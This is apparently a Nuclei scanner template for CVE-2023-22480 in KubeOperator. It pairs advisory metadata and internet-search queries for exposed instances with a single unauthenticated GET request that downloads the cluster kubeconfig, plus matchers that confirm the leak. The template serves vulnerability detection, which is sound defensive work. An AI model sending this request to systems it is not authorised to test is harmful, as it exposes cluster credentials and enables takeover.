id: CVE-2023-22480

info:
  name: KubeOperator Foreground `kubeconfig` - File Download
  author: DhiyaneshDk
  severity: critical
  description: |
    KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.
  impact: |
    An attacker can download sensitive files from the KubeOperator Foreground kubeconfig file, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/KubeOperator/KubeOperator/security/advisories/GHSA-jxgp-jgh3-8jc8
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubeOperator/KubeOperator%20kubeconfig%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%20CVE-2023-22480.md?plain=1
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22480
    - https://github.com/KubeOperator/KubeOperator/commit/7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf
    - https://github.com/KubeOperator/KubeOperator/releases/tag/v3.16.4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-22480
    cwe-id: CWE-863,CWE-285
    epss-score: 0.75592
    epss-percentile: 0.9892
    cpe: cpe:2.3:a:fit2cloud:kubeoperator:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: kubeoperator
    shodan-query:
      - html:"KubeOperator"
      - http.html:"kubeoperator"
    fofa-query:
      - app="KubeOperator"
      - body="kubeoperator"
      - app="kubeoperator"
  tags: cve2023,cve,kubeoperator,k8s,kubeconfig,exposure,fit2cloud,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/clusters/kubeconfig/k8s"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apiVersion:"
          - "clusters:"
        condition: and

      - type: word
        part: header
        words:
          - "application/download"

      - type: status
        status:
          - 200
# digest: 490a00463044022032a3f8116147c56bef76e9335c8ad87f61df7a42b52864f00ab9586cb08dbe2f022022eb8cd35128f253a80fd18394a5ff1726ac41b4d3ae83ba545ffeef79a29f7e:922c64590222798bb761d5b6d8e72950